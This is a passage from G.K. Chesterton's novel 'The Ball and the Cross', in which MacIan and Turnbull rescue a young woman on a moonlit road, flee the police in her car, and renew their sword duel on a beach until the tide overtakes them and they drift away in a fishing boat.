fallen from the +sky. He tore one of the climbers backward by the collar, and with +a hearty push sent him staggering over into the ditch upon his +nose. One of the remaining two, who was too far gone to notice +anything, continued to clamber ineffectually over the high back +of the car, kicking and pouring forth a rivulet of soliloquy. But +the other dropped at the interruption, turned upon Turnbull and +began a battering bout of fisticuffs. At the same moment the man +crawled out of the ditch in a masquerade of mud and rushed at his +old enemy from behind. The whole had not taken a second; and an +instant after MacIan was in the midst of them. + +Turnbull had tossed away his sheathed sword, greatly preferring +his hands, except in the avowed etiquette of the duel; for he had +learnt to use his hands in the old street-battles of Bradlaugh. +But to MacIan the sword even sheathed was a more natural weapon, +and he laid about him on all sides with it as with a stick. The +man who had the walking-stick found his blows parried with +promptitude; and a second after, to his great astonishment, found +his own stick fly up in the air as by a conjuring trick, with a +turn of the swordsman's wrist. Another of the revellers picked +the stick out of the ditch and ran in upon MacIan, calling to his +companion to assist him. + +"I haven't got a stick," grumbled the disarmed man, and looked +vaguely about the ditch. + +"Perhaps," said MacIan, politely, "you would like this one." With +the word the drunkard found his hand that had grasped the stick +suddenly twisted and empty; and the stick lay at the feet of his +companion on the other side of the road. MacIan felt a faint stir +behind him; the girl had risen to her feet and was leaning +forward to stare at the fighters. Turnbull was still engaged in +countering and pommelling with the third young man. The fourth +young man was still engaged with himself, kicking his legs in +helpless rotation on the back of the car and talking with +melodious rationality. + +At length Turnbull's opponent began to back before the battery of +his heavy hands, still fighting, for he was the soberest and +boldest of the four. If these are annals of military glory, it is +due to him to say that he need not have abandoned the conflict; +only that as he backed to the edge of the ditch his foot caught +in a loop of grass and he went over in a flat and comfortable +position from which it took him a considerable time to rise. By +the time he had risen, Turnbull had come to the rescue of MacIan, +who was at bay but belabouring his two enemies handsomely. The +sight of the liberated reserve was to them like that of Blucher +at Waterloo; the two set off at a sullen trot down the road, +leaving even the walking-stick lying behind them in the +moonlight. MacIan plucked the struggling and aspiring idiot off +the back of the car like a stray cat, and left him swaying +unsteadily in the moon. Then he approached the front part of the +car in a somewhat embarrassed manner and pulled off his cap. + +For some solid seconds the lady and he merely looked at each +other, and MacIan had an irrational feeling of being in a picture +hung on a wall. That is, he was motionless, even lifeless, and +yet staringly significant, like a picture. The white moonlight on +the road, when he was not looking at it, gave him a vision of the +road being white with snow. The motor-car, when he was not +looking at it, gave him a rude impression of a captured coach in +the old days of highwaymen. And he whose whole soul was with the +swords and stately manners of the eighteenth century, he who was +a Jacobite risen from the dead, had an overwhelming sense of +being once more in the picture, when he had so long been out of +the picture. + +In that short and strong silence he absorbed the lady from head +to foot. He had never really looked at a human being before in +his life. He saw her face and hair first, then that she had long +suede gloves; then that there was a fur cap at the back of her +brown hair. He might, perhaps, be excused for this hungry +attention. He had prayed that some sign might come from heaven; +and after an almost savage scrutiny he came to the conclusion +that his one did. The lady's instantaneous arrest of speech +might need more explaining; but she may well have been stunned +with the squalid attack and the abrupt rescue. Yet it was she +who remembered herself first and suddenly called out with +self-accusing horror: + +"Oh, that poor, poor man!" + +They both swung round abruptly and saw that Turnbull, with his +recovered sword under his arm-pit, was already lifting the fallen +chauffeur into the car. He was only stunned and was slowly +awakening, feebly waving his left arm. + +The lady in long gloves and the fur cap leapt out and ran rapidly +towards them, only to be reassured by Turnbull, who (unlike many +of his school) really knew a little science when he invoked it to +redeem the world. "He's all right," said he; "he's quite safe. +But I'm afraid he won't be able to drive the car for half an hour +or so." + +"I can drive the car," said the young woman in the fur cap with +stony practicability. + +"Oh, in that case," began MacIan, uneasily; and that paralysing +shyness which is a part of romance induced him to make a backward +movement as if leaving her to herself. But Turnbull was more +rational than he, being more indifferent. + +"I don't think you ought to drive home alone, ma'am," he said, +gruffly. "There seem to be a lot of rowdy parties along this +road, and the man will be no use for an hour. If you will tell +us where you are going, we will see you safely there and say good +night." + +The young lady exhibited all the abrupt disturbance of a person +who is not commonly disturbed. She said almost sharply and yet +with evident sincerity: "Of course I am awfully grateful to you +for all you've done--and there's plenty of room if you'll come +in." + +Turnbull, with the complete innocence of an absolutely sound +motive, immediately jumped into the car; but the girl cast an eye +at MacIan, who stood in the road for an instant as if rooted like +a tree. Then he also tumbled his long legs into the tonneau, +having that sense of degradedly diving into heaven which so many +have known in so many human houses when they consented to stop to +tea or were allowed to stop to supper. The slowly reviving +chauffeur was set in the back seat; Turnbull and MacIan had +fallen into the middle one; the lady with a steely coolness had +taken the driver's seat and all the handles of that headlong +machine. A moment afterwards the engine started, with a throb and +leap unfamiliar to Turnbull, who had only once been in a motor +during a general election, and utterly unknown to MacIan, who in +his present mood thought it was the end of the world. Almost at +the same instant that the car plucked itself out of the mud and +whipped away up the road, the man who had been flung into the +ditch rose waveringly to his feet. When he saw the car escaping +he ran after it and shouted something which, owing to the +increasing distance, could not be heard. It is awful to reflect +that, if his remark was valuable, it is quite lost to the world. + +The car shot on up and down the shining moonlit lanes, and there +was no sound in it except the occasional click or catch of its +machinery; for through some cause or other no soul inside it +could think of a word to say. The lady symbolized her feelings, +whatever they were, by urging the machine faster and faster until +scattered woodlands went by them in one black blotch and heavy +hills and valleys seemed to ripple under the wheels like mere +waves. A little while afterwards this mood seemed to slacken and +she fell into a more ordinary pace; but still she did not speak. +Turnbull, who kept a more common and sensible view of the case +than anyone else, made some remark about the moonlight; but +something indescribable made him also relapse into silence. + +All this time MacIan had been in a sort of monstrous delirium, +like some fabulous hero snatched up into the moon. The difference +between this experience and common experiences was analogous to +that between waking life and a dream. Yet he did not feel in the +least as if he were dreaming; rather the other way; as waking was +more actual than dreaming, so this seemed by another degree more +actual than waking itself. But it was another life altogether, +like a cosmos with a new dimension. + +He felt he had been hurled into some new incarnation: into the +midst of new relations, wrongs and rights, with towering +responsibilities and almost tragic joys which he had as yet had +no time to examine. Heaven had not merely sent him a message; +Heaven itself had opened around him and given him an hour of its +own ancient and star-shattering energy. He had never felt so much +alive before; and yet he was like a man in a trance. And if you +had asked him on what his throbbing happiness hung, he could only +have told you that it hung on four or five visible facts, as a +curtain hangs on four of five fixed nails. The fact that the lady +had a little fur at her throat; the fact that the curve of her +cheek was a low and lean curve and that the moonlight caught the +height of her cheek-bone; the fact that her hands were small but +heavily gloved as they gripped the steering-wheel; the fact that +a white witch light was on the road; the fact that the brisk +breeze of their passage stirred and fluttered a little not only +the brown hair of her head but the black fur on her cap. All +these facts were to him certain and incredible, like sacraments. + +When they had driven half a mile farther, a big shadow was flung +across the path, followed by its bulky owner, who eyed the car +critically but let it pass. The silver moonlight picked out a +piece or two of pewter ornament on his blue uniform; and as they +went by they knew it was a sergeant of police. Three hundred +yards farther on another policeman stepped out into the road as +if to stop them, then seemed to doubt his own authority and +stepped back again. The girl was a daughter of the rich; and this +police suspicion (under which all the poor live day and night) +stung her for the first time into speech. + +"What can they mean?" she cried out in a kind of temper; "this +car's going like a snail." + +There was a short silence, and then Turnbull said: "It is +certainly very odd, you are driving quietly enough." + +"You are driving nobly," said MacIan, and his words (which had no +meaning whatever) sounded hoarse and ungainly even in his own +ears. + +They passed the next mile and a half swiftly and smoothly; yet +among the many things which they passed in the course of it was a +clump of eager policemen standing at a cross-road. As they +passed, one of the policemen shouted something to the others; but +nothing else happened. Eight hundred yards farther on, Turnbull +stood up suddenly in the swaying car. + +"My God, MacIan!" he called out, showing his first emotion of +that night. "I don't believe it's the pace; it couldn't be the +pace. I believe it's us." + +MacIan sat motionless for a few moments and then turned up at his +companion a face that was as white as the moon above it. + +"You may be right," he said at last; "if you are, I must tell +her." + +"I will tell the lady if you like," said Turnbull, with his +unconquered good temper. + +"You!" said MacIan, with a sort of sincere and instinctive +astonishment. "Why should you--no, I must tell her, of +course----" + +And he leant forward and spoke to the lady in the fur cap. + +"I am afraid, madam, that we may have got you into some trouble," +he said, and even as he said it it sounded wrong, like everything +he said to this particular person in the long gloves. "The fact +is," he resumed, desperately, "the fact is, we are being chased +by the police." Then the last flattening hammer fell upon poor +Evan's embarrassment; for the fluffy brown head with the furry +black cap did not turn by a section of the compass. + +"We are chased by the police," repeated MacIan, vigorously; then +he added, as if beginning an explanation, "You see, I am a +Catholic." + +The wind whipped back a curl of the brown hair so as to +necessitate a new theory of aesthetics touching the line of the +cheek-bone; but the head did not turn. + +"You see," began MacIan, again blunderingly, "this gentleman +wrote in his newspaper that Our Lady was a common woman, a bad +woman, and so we agreed to fight; and we were fighting quite a +little time ago--but that was before we saw you." + +The young lady driving her car had half turned her face to +listen; and it was not a reverent or a patient face that she +showed him. Her Norman nose was tilted a trifle too high upon +the slim stalk of her neck and body. + +When MacIan saw that arrogant and uplifted profile pencilled +plainly against the moonshine, he accepted an ultimate defeat. +He had expected the angels to despise him if he were wrong, but +not to despise him so much as this. + +"You see," said the stumbling spokesman, "I was angry with him +when he insulted the Mother of God, and I asked him to fight a +duel with me; but the police are all trying to stop it." + +Nothing seemed to waver or flicker in the fair young falcon +profile; and it only opened its lips to say, after a silence: "I +thought people in our time were supposed to respect each other's +religion." + +Under the shadow of that arrogant face MacIan could only fall +back on the obvious answer: "But what about a man's irreligion?" +The face only answered: "Well, you ought to be more broadminded." + +If anyone else in the world had said the words, MacIan would have +snorted with his equine neigh of scorn. But in this case he +seemed knocked down by a superior simplicity, as if his eccentric +attitude were rebuked by the innocence of a child. He could not +dissociate anything that this woman said or did or wore from an +idea of spiritual rarity and virtue. Like most others under the +same elemental passion, his soul was at present soaked in ethics. +He could have applied moral terms to the material objects of her +environment. If someone had spoken of "her generous ribbon" or +"her chivalrous gloves" or "her merciful shoe-buckle," it would +not have seemed to him nonsense. + +He was silent, and the girl went on in a lower key as if she were +momentarily softened and a little saddened also. "It won't do, +you know," she said; "you can't find out the truth in that way. +There are such heaps of churches and people thinking different +things nowadays, and they all think they are right. My uncle was +a Swedenborgian." + +MacIan sat with bowed head, listening hungrily to her voice but +hardly to her words, and seeing his great world drama grow +smaller and smaller before his eyes till it was no bigger than a +child's toy theatre. + +"The time's gone by for all that," she went on; "you can't find +out the real thing like that--if there is really anything to +find----" and she sighed rather drearily; for, like many of the +women of our wealthy class, she was old and broken in thought, +though young and clean enough in her emotions. + +"Our object," said Turnbull, shortly, "is to make an effective +demonstration"; and after that word, MacIan looked at his vision +again and found it smaller than ever. + +"It would be in the newspapers, of course," said the girl. +"People read the newspapers, but they don't believe them, or +anything else, I think." And she sighed again. + +She drove in silence a third of a mile before she added, as if +completing the sentence: "Anyhow, the whole thing's quite +absurd." + +"I don't think," began Turnbull, "that you quite realize---- +Hullo! hullo--hullo--what's this?" + +The amateur chauffeur had been forced to bring the car to a +staggering stoppage, for a file of fat, blue policemen made a +wall across the way. A sergeant came to the side and touched his +peaked cap to the lady. + +"Beg your pardon, miss," he said with some embarrassment, for he +knew her for a daughter of a dominant house, "but we have reason +to believe that the gentlemen in your car are----" and he +hesitated for a polite phrase. + +"I am Evan MacIan," said that gentleman, and stood up in a sort +of gloomy pomp, not wholly without a touch of the sulks of a +schoolboy. + +"Yes, we will get out, sergeant," said Turnbull, more easily; "my +name is James Turnbull. We must not incommode the lady." + +"What are you taking them up for?" asked the young woman, looking +straight in front of her along the road. + +"It's under the new act," said the sergeant, almost +apologetically. "Incurable disturbers of the peace." + +"What will happen to them?" she asked, with the same frigid +clearness. + +"Westgate Adult Reformatory," he replied, briefly. + +"Until when?" + +"Until they are cured," said the official. + +"Very well, sergeant," said the young lady, with a sort of tired +common sense. "I am sure I don't want to protect criminals or go +against the law; but I must tell you that these gentlemen have +done me a considerable service; you won't mind drawing your men a +little farther off while I say good night to them. Men like that +always misunderstand." + +The sergeant was profoundly disquieted from the beginning at the +mere idea of arresting anyone in the company of a great lady; to +refuse one of her minor requests was quite beyond his courage. +The police fell back to a few yards behind the car. Turnbull took +up the two swords that were their only luggage; the swords that, +after so many half duels, they were now to surrender at last. +MacIan, the blood thundering in his brain at the thought of that +instant of farewell, bent over, fumbled at the handle and flung +open the door to get out. + +But he did not get out. He did not get out, because it is +dangerous to jump out of a car when it is going at full speed. +And the car was going at full speed, because the young lady, +without turning her head or so much as saying a syllable, had +driven down a handle that made the machine plunge forward like a +buffalo and then fly over the landscape like a greyhound. The +police made one rush to follow, and then dropped so grotesque and +hopeless a chase. Away in the vanishing distance they could see +the sergeant furiously making notes. + +The open door, still left loose on its hinges, swung and banged +quite crazily as they went whizzing up one road and down another. +Nor did MacIan sit down; he stood up stunned and yet staring, as +he would have stood up at the trumpet of the Last Day. A black +dot in the distance sprang up a tall black forest, swallowed them +and spat them out again at the other end. A railway bridge grew +larger and larger till it leapt upon their backs bellowing, and +was in its turn left behind. Avenues of poplars on both sides of +the road chased each other like the figures in a zoetrope. Now +and then with a shock and rattle they went through sleeping +moonlit villages, which must have stirred an instant in their +sleep as at the passing of a fugitive earthquake. Sometimes in an +outlying house a light in one erratic, unexpected window would +give them a nameless hint of the hundred human secrets which they +left behind them with their dust. Sometimes even a slouching +rustic would be afoot on the road and would look after them, as +after a flying phantom. But still MacIan stood up staring at +earth and heaven; and still the door he had flung open flapped +loose like a flag. Turnbull, after a few minutes of dumb +amazement, had yielded to the healthiest element in his nature +and gone off into uncontrollable fits of laughter. The girl had +not stirred an inch. + +After another half mile that seemed a mere flash, Turnbull leant +over and locked the door. Evan staggered at last into his seat +and hid his throbbing head in his hands; and still the car flew +on and its driver sat inflexible and silent. The moon had already +gone down, and the whole darkness was faintly troubled with +twilight and the first movement of beasts and fowls. It was that +mysterious moment when light is coming as if it were something +unknown whose nature one could not guess--a mere alteration in +everything. They looked at the sky and it seemed as dark as ever; +then they saw the black shape of a tower or tree against it and +knew that it was already grey. Save that they were driving +southward and had certainly passed the longitude of London, they +knew nothing of their direction; but Turnbull, who had spent a +year on the Hampshire coast in his youth, began to recognize the +unmistakable but quite indescribable villages of the English +south. Then a white witch fire began to burn between the black +stems of the fir-trees; and, like so many things in nature, +though not in books on evolution, the daybreak, when it did come, +came much quicker than one would think. The gloomy heavens were +ripped up and rolled away like a scroll, revealing splendours, as +the car went roaring up the curve of a great hill; and above them +and black against the broadening light, there stood one of those +crouching and fantastic trees that are first signals of the sea. + + + +X. THE SWORDS REJOINED + +As they came over the hill and down on the other side of it, it +is not too much to say that the whole universe of God opened over +them and under them, like a thing unfolding to five times its +size. Almost under their feet opened the enormous sea, at the +bottom of a steep valley which fell down into a bay; and the sea +under their feet blazed at them almost as lustrous and almost as +empty as the sky. The sunrise opened above them like some cosmic +explosion, shining and shattering and yet silent; as if the world +were blown to pieces without a sound. Round the rays of the +victorious sun swept a sort of rainbow of confused and conquered +colours--brown and blue and green and flaming rose-colour; as +though gold were driving before it all the colours of the world. +The lines of the landscape down which they sped, were the simple, +strict, yet swerving, lines of a rushing river; so that it was +almost as if they were being sucked down in a huge still +whirlpool. Turnbull had some such feeling, for he spoke for the +first time for many hours. + +"If we go down at this rate we shall be over the sea cliff," he +said. + +"How glorious!" said MacIan. + +When, however, they had come into the wide hollow at the bottom +of that landslide, the car took a calm and graceful curve along +the side of the sea, melted into the fringe of a few trees, and +quietly, yet astonishingly, stopped. A belated light was burning +in the broad morning in the window of a sort of lodge- or +gate-keepers' cottage; and the girl stood up in the car and +turned her splendid face to the sun. + +Evan seemed startled by the stillness, like one who had been born +amid sound and speed. He wavered on his long legs as he stood up; +he pulled himself together, and the only consequence was that he +trembled from head to foot. Turnbull had already opened the door +on his side and jumped out. + +The moment he had done so the strange young woman had one more +mad movement, and deliberately drove the car a few yards farther. +Then she got out with an almost cruel coolness and began pulling +off her long gloves and almost whistling. + +"You can leave me here," she said, quite casually, as if they had +met five minutes before. "That is the lodge of my father's place. +Please come in, if you like--but I understood that you had some +business." + +Evan looked at that lifted face and found it merely lovely; he +was far too much of a fool to see that it was working with a +final fatigue and that its austerity was agony. He was even fool +enough to ask it a question. "Why did you save us?" he said, +quite humbly. + +The girl tore off one of her gloves, as if she were tearing off +her hand. "Oh, I don't know," she said, bitterly. "Now I come +to think of it, I can't imagine." + +Evan's thoughts, that had been piled up to the morning star, +abruptly let him down with a crash into the very cellars of the +emotional universe. He remained in a stunned silence for a long +time; and that, if he had only known, was the wisest thing that +he could possibly do at the moment. + +Indeed, the silence and the sunrise had their healing effect, for +when the extraordinary lady spoke again, her tone was more +friendly and apologetic. "I'm not really ungrateful," she said; +"it was very good of you to save me from those men." + +"But why?" repeated the obstinate and dazed MacIan, "why did you +save us from the other men? I mean the policemen?" + +The girl's great brown eyes were lit up with a flash that was at +once final desperation and the loosening of some private and +passionate reserve. + +"Oh, God knows!" she cried. "God knows that if there is a God He +has turned His big back on everything. God knows I have had no +pleasure in my life, though I am pretty and young and father has +plenty of money. And then people come and tell me that I ought to +do things and I do them and it's all drivel. They want you to do +work among the poor; which means reading Ruskin and feeling +self-righteous in the best room in a poor tenement. Or to help +some cause or other, which always means bundling people out of +crooked houses, in which they've always lived, into straight +houses, in which they often die. And all the time you have inside +only the horrid irony of your own empty head and empty heart. I +am to give to the unfortunate, when my whole misfortune is that I +have nothing to give. I am to teach, when I believe nothing at +all that I was taught. I am to save the children from death, and +I am not even certain that I should not be better dead. I suppose +if I actually saw a child drowning I should save it. But that +would be from the same motive from which I have saved you, or +destroyed you, whichever it is that I have done." + +"What was the motive?" asked Evan, in a low voice. + +"My motive is too big for my mind," answered the girl. + +Then, after a pause, as she stared with a rising colour at the +glittering sea, she said: "It can't be described, and yet I am +trying to describe it. It seems to me not only that I am unhappy, +but that there is no way of being happy. Father is not happy, +though he is a Member of Parliament----" She paused a moment and +added with a ghost of a smile: "Nor Aunt Mabel, though a man from +India has told her the secret of all creeds. But I may be wrong; +there may be a way out. And for one stark, insane second, I felt +that, after all, you had got the way out and that was why the +world hated you. You see, if there were a way out, it would be +sure to be something that looked very queer." + +Evan put his hand to his forehead and began stumblingly: "Yes, I +suppose we do seem----" + +"Oh, yes, you look queer enough," she said, with ringing +sincerity. "You'll be all the better for a wash and brush up." + +"You forget our business, madam," said Evan, in a shaking voice; +"we have no concern but to kill each other." + +"Well, I shouldn't be killed looking like that if I were you," +she replied, with inhuman honesty. + +Evan stood and rolled his eyes in masculine bewilderment. Then +came the final change in this Proteus, and she put out both her +hands for an instant and said in a low tone on which he lived for +days and nights: + +"Don't you understand that I did not dare to stop you? What you +are doing is so mad that it may be quite true. Somehow one can +never really manage to be an atheist." + +Turnbull stood staring at the sea; but his shoulders showed that +he heard, and after one minute he turned his head. But the girl +had only brushed Evan's hand with hers and had fled up the dark +alley by the lodge gate. + +Evan stood rooted upon the road, literally like some heavy statue +hewn there in the age of the Druids. It seemed impossible that he +should ever move. Turnbull grew restless with this rigidity, and +at last, after calling his companion twice or thrice, went up and +clapped him impatiently on one of his big shoulders. Evan winced +and leapt away from him with a repulsion which was not the hate +of an unclean thing nor the dread of a dangerous one, but was a +spasm of awe and separation from something from which he was now +sundered as by the sword of God. He did not hate the atheist; it +is possible that he loved him. But Turnbull was now something +more dreadful than an enemy: he was a thing sealed and devoted--a +thing now hopelessly doomed to be either a corpse or an +executioner. + +"What is the matter with you?" asked Turnbull, with his hearty +hand still in the air; and yet he knew more about it than his +innocent action would allow. + +"James," said Evan, speaking like one under strong bodily pain, +"I asked for God's answer and I have got it--got it in my vitals. +He knows how weak I am, and that I might forget the peril of the +faith, forget the face of Our Lady--yes, even with your blow upon +her cheek. But the honour of this earth has just this about it, +that it can make a man's heart like iron. I am from the Lords of +the Isles and I dare not be a mere deserter. Therefore, God has +tied me by the chain of my worldly place and word, and there is +nothing but fighting now." + +"I think I understand you," said Turnbull, "but you say +everything tail foremost." + +"She wants us to do it," said Evan, in a voice crushed with +passion. "She has hurt herself so that we might do it. She has +left her good name and her good sleep and all her habits and +dignity flung away on the other side of England in the hope that +she may hear of us and that we have broken some hole into +heaven." + +"I thought I knew what you mean," said Turnbull, biting his +beard; "it does seem as if we ought to do something after all she +has done this night." + +"I never liked you so much before," said MacIan, in bitter +sorrow. + +As he spoke, three solemn footmen came out of the lodge gate and +assembled to assist the chauffeur to his room. The mere sight of +them made the two wanderers flee as from a too frightful +incongruity, and before they knew where they were, they were well +upon the grassy ledge of England that overlooks the Channel. Evan +said suddenly: "Will they let me see her in heaven once in a +thousand ages?" and addressed the remark to the editor of _The +Atheist_, as on which he would be likely or qualified to answer. +But no answer came; a silence sank between the two. + +Turnbull strode sturdily to the edge of the cliff and looked out, +his companion following, somewhat more shaken by his recent +agitation. + +"If that's the view you take," said Turnbull, "and I don't say +you are wrong, I think I know where we shall be best off for the +business. As it happens, I know this part of the south coast +pretty well. And unless I am mistaken there's a way down the +cliff just here which will land us on a stretch of firm sand +where no one is likely to follow us." + +The Highlander made a gesture of assent and came also almost to +the edge of the precipice. The sunrise, which was broadening over +sea and shore, was one of those rare and splendid ones in which +there seems to be no mist or doubt, and nothing but a universal +clarification more and more complete. All the colours were +transparent. It seemed like a triumphant prophecy of some perfect +world where everything being innocent will be intelligible; a +world where even our bodies, so to speak, may be as of burning +glass. Such a world is faintly though fiercely figured in the +coloured windows of Christian architecture. The sea that lay +before them was like a pavement of emerald, bright and almost +brittle; the sky against which its strict horizon hung was almost +absolutely white, except that close to the sky line, like scarlet +braids on the hem of a garment, lay strings of flaky cloud of so +gleaming and gorgeous a red that they seemed cut out of some +strange blood-red celestial metal, of which the mere gold of this +earth is but a drab yellow imitation. + +"The hand of Heaven is still pointing," muttered the man of +superstition to himself. "And now it is a blood-red hand." + +The cool voice of his companion cut in upon his monologue, +calling to him from a little farther along the cliff, to tell him +that he had found the ladder of descent. It began as a steep and +somewhat greasy path, which then tumbled down twenty or thirty +feet in the form of a fall of rough stone steps. After that, +there was a rather awkward drop on to a ledge of stone and then +the journey was undertaken easily and even elegantly by the +remains of an ornamental staircase, such as might have belonged +to some long-disused watering-place. All the time that the two +travellers sank from stage to stage of this downward journey, +there closed over their heads living bridges and caverns of the +most varied foliage, all of which grew greener, redder, or more +golden, in the growing sunlight of the morning. Life, too, of the +more moving sort rose at the sun on every side of them. Birds +whirred and fluttered in the undergrowth, as if imprisoned in +green cages. Other birds were shaken up in great clouds from the +tree-tops, as if they were blossoms detached and scattered up to +heaven. Animals which Turnbull was too much of a Londoner and +MacIan too much of a Northerner to know, slipped by among the +tangle or ran pattering up the tree-trunks. Both the men, +according to their several creeds, felt the full thunder of the +psalm of life as they had never heard it before; MacIan felt God +the Father, benignant in all His energies, and Turnbull that +ultimate anonymous energy, that _Natura Naturans_, which is the +whole theme of Lucretius. It was down this clamorous ladder of +life that they went down to die. + +They broke out upon a brown semicircle of sand, so free from +human imprint as to justify Turnbull's profession. They strode +out upon it, stuck their swords in the sand, and had a pause too +important for speech. Turnbull eyed the coast curiously for a +moment, like one awakening memories of childhood; then he said +abruptly, like a man remembering somebody's name: "But, of +course, we shall be better off still round the corner of Cragness +Point; nobody ever comes there at all." And picking up his sword +again, he began striding towards a big bluff of the rocks which +stood out upon their left. MacIan followed him round the corner +and found himself in what was certainly an even finer fencing +court, of flat, firm sand, enclosed on three sides by white walls +of rock, and on the fourth by the green wall of the advancing +sea. + +"We are quite safe here," said Turnbull, and, to the other's +surprise, flung himself down, sitting on the brown beach. + +"You see, I was brought up near here," he explained. "I was sent +from Scotland to stop with my aunt. It is highly probable that I +may die here. Do you mind if I light a pipe?" + +"Of course, do whatever you like," said MacIan, with a choking +voice, and he went and walked alone by himself along the wet, +glistening sands. + +Ten minutes afterwards he came back again, white with his own +whirlwind of emotions; Turnbull was quite cheerful and was +knocking out the end of his pipe. + +"You see, we have to do it," said MacIan. "She tied us to it." + +"Of course, my dear fellow," said the other, and leapt up as +lightly as a monkey. + +They took their places gravely in the very centre of the great +square of sand, as if they had thousands of spectators. Before +saluting, MacIan, who, being a mystic, was one inch nearer to +Nature, cast his eye round the huge framework of their heroic +folly. The three walls of rock all leant a little outward, though +at various angles; but this impression was exaggerated in the +direction of the incredible by the heavy load of living trees and +thickets which each wall wore on its top like a huge shock of +hair. On all that luxurious crest of life the risen and +victorious sun was beating, burnishing it all like gold, and +every bird that rose with that sunrise caught a light like a star +upon it like the dove of the Holy Spirit. Imaginative life had +never so much crowded upon MacIan. He felt that he could write +whole books about the feelings of a single bird. He felt that for +two centuries he would not tire of being a rabbit. He was in the +Palace of Life, of which the very tapestries and curtains were +alive. Then he recovered himself, and remembered his affairs. +Both men saluted, and iron rang upon iron. It was exactly at the +same moment that he realized that his enemy's left ankle was +encircled with a ring of salt water that had crept up to his +feet. + +"What is the matter?" said Turnbull, stopping an instant, for he +had grown used to every movement of his extraordinary +fellow-traveller's face. + +MacIan glanced again at that silver anklet of sea-water and then +looked beyond at the next promontory round which a deep sea was +boiling and leaping. Then he turned and looked back and saw heavy +foam being shaken up to heaven about the base of Cragness Point. + +"The sea has cut us off," he said, curtly. + +"I have noticed it," said Turnbull with equal sobriety. "What +view do you take of the development?" + +Evan threw away his weapon, and, as his custom was, imprisoned +his big head in his hands. Then he let them fall and said: "Yes, +I know what it means; and I think it is the fairest thing. It is +the finger of God--red as blood--still pointing. But now it +points to two graves." + +There was a space filled with the sound of the sea, and then +MacIan spoke again in a voice pathetically reasonable: "You see, +we both saved her--and she told us both to fight--and it would +not be just that either should fail and fall alone, while the +other----" + +"You mean," said Turnbull, in a voice surprisingly soft and +gentle, "that there is something fine about fighting in a place +where even the conqueror must die?" + +"Oh, you have got it right, you have got it right!" cried out +Evan, in an extraordinary childish ecstasy. "Oh, I'm sure that +you really believe in God!" + +Turnbull answered not a word, but only took up his fallen sword. + +For the third time Evan MacIan looked at those three sides of +English cliff hung with their noisy load of life. He had been +at a loss to understand the almost ironical magnificence of all +those teeming creatures and tropical colours and smells that +smoked happily to heaven. But now he knew that he was in the +closed court of death and that all the gates were sealed. + +He drank in the last green and the last red and the last gold, +those unique and indescribable things of God, as a man drains +good wine at the bottom of his glass. Then he turned and saluted +his enemy once more, and the two stood up and fought till the +foam flowed over their knees. + +Then MacIan stepped backward suddenly with a splash and held up +his hand. "Turnbull!" he cried; "I can't help it--fair fighting +is more even than promises. And this is not fair fighting." + +"What the deuce do you mean?" asked the other, staring. + +"I've only just thought of it," cried Evan, brokenly. "We're very +well matched--it may go on a good time--the tide is coming up +fast--and I'm a foot and a half taller. You'll be washed away +like seaweed before it's above my breeches. I'll not fight foul +for all the girls and angels in the universe." + +"Will you oblige me," said Turnbull, with staring grey eyes and a +voice of distinct and violent politeness; "will you oblige me by +jolly well minding your own business? Just you stand up and +fight, and we'll see who will be washed away like seaweed. You +wanted to finish this fight and you shall finish it, or I'll +denounce you as a coward to the whole of that assembled company." + +Evan looked very doubtful and offered a somewhat wavering weapon; +but he was quickly brought back to his senses by his opponent's +sword-point, which shot past him, shaving his shoulder by a hair. +By this time the waves were well up Turnbull's thigh, and what +was worse, they were beginning to roll and break heavily around +them. + +MacIan parried this first lunge perfectly, the next less +perfectly; the third in all human probability he would not have +parried at all; the Christian champion would have been pinned +like a butterfly, and the atheistic champion left to drown like a +rat, with such consolation as his view of the cosmos afforded +him. But just as Turnbull launched his heaviest stroke, the sea, +in which he stood up to his hips, launched a yet heavier one. A +wave breaking beyond the others smote him heavily like a hammer +of water. One leg gave way, he was swung round and sucked into +the retreating sea, still gripping his sword. + +MacIan put his sword between his teeth and plunged after his +disappearing enemy. He had the sense of having the whole universe +on top of him as crest after crest struck him down. It seemed to +him quite a cosmic collapse, as if all the seven heavens were +falling on him one after the other. But he got hold of the +atheist's left leg and he did not let it go. + +After some ten minutes of foam and frenzy, in which all the +senses at once seemed blasted by the sea, Evan found himself +laboriously swimming on a low, green swell, with the sword still +in his teeth and the editor of _The Atheist_ still under his arm. +What he was going to do he had not even the most glimmering idea; +so he merely kept his grip and swam somehow with one hand. + +He ducked instinctively as there bulked above him a big, black +wave, much higher than any that he had seen. Then he saw that it +was hardly the shape of any possible wave. Then he saw that it +was a fisherman's boat, and, leaping upward, caught hold of the +bow. The boat pitched forward with its stern in the air for just +as much time as was needed to see that there was nobody in it. +After a moment or two of desperate clambering, however, there +were two people in it, Mr. Evan MacIan, panting and sweating, and +Mr. James Turnbull, uncommonly close to being drowned. After ten +minutes' aimless tossing in the empty fishing-boat he recovered, +however, stirred, stretched himself, and looked round on the +rolling waters. Then, while taking no notice of the streams of +salt water that were pouring from his hair, beard, coat, boots, +and trousers, he carefully wiped the wet off his sword-blade to +preserve it from the possibilities of rust. + +MacIan found two oars in the bottom of the deserted boat and +began somewhat drearily to row. + + * * * + +A rainy twilight was clearing to cold silver over the moaning +sea, when the battered boat that had rolled and drifted almost +aimlessly all night, came within sight of land, though of land +which looked almost as lost and savage as the waves. All night +there had been but little lifting in the leaden sea, only now and +then the boat had been heaved up, as on a huge shoulder which +slipped from under it; such occasional sea-quakes came probably +from the swell of some steamer that had passed it in the dark; +otherwise the waves were harmless though restless. But it was +piercingly cold, and there was, from time to time, a splutter of +rain like the splutter of the spray, which seemed almost to +freeze as it fell. MacIan, more at home than his companion in +this quite barbarous and elemental sort of adventure, had rowed +toilsomely with the heavy oars whenever he saw anything that +looked like land; but for the most part had trusted with grim +transcendentalism to wind and tide. Among the implements of their +first outfit the brandy alone had remained to him, and he gave it +to his freezing companion in quantities which greatly alarmed +that temperate Londoner; but MacIan came from the cold seas and +mists where a man can drink a tumbler of raw whisky in a boat +without it making him wink. + +When the Highlander began to pull really hard upon the oars, +Turnbull craned his dripping red head out of the boat to see the +goal of his exertions. It was a sufficiently uninviting one; +nothing so far as could be seen but a steep and shelving bank of +shingle, made of loose little pebbles such as children like, but +slanting up higher than a house. On the top of the mound, against +the sky line, stood up the brown skeleton of some broken fence or +breakwater. With the grey and watery dawn crawling up behind it, +the fence really seemed to say to our philosophic adventurers +that they had come at last to the other end of nowhere. + +Bent by necessity to his labour, MacIan managed the heavy boat +with real power and skill, and when at length he ran it up on a +smoother part of the slope it caught and held so that they could +clamber out, not sinking farther than their knees into the water +and the shingle. A foot or two 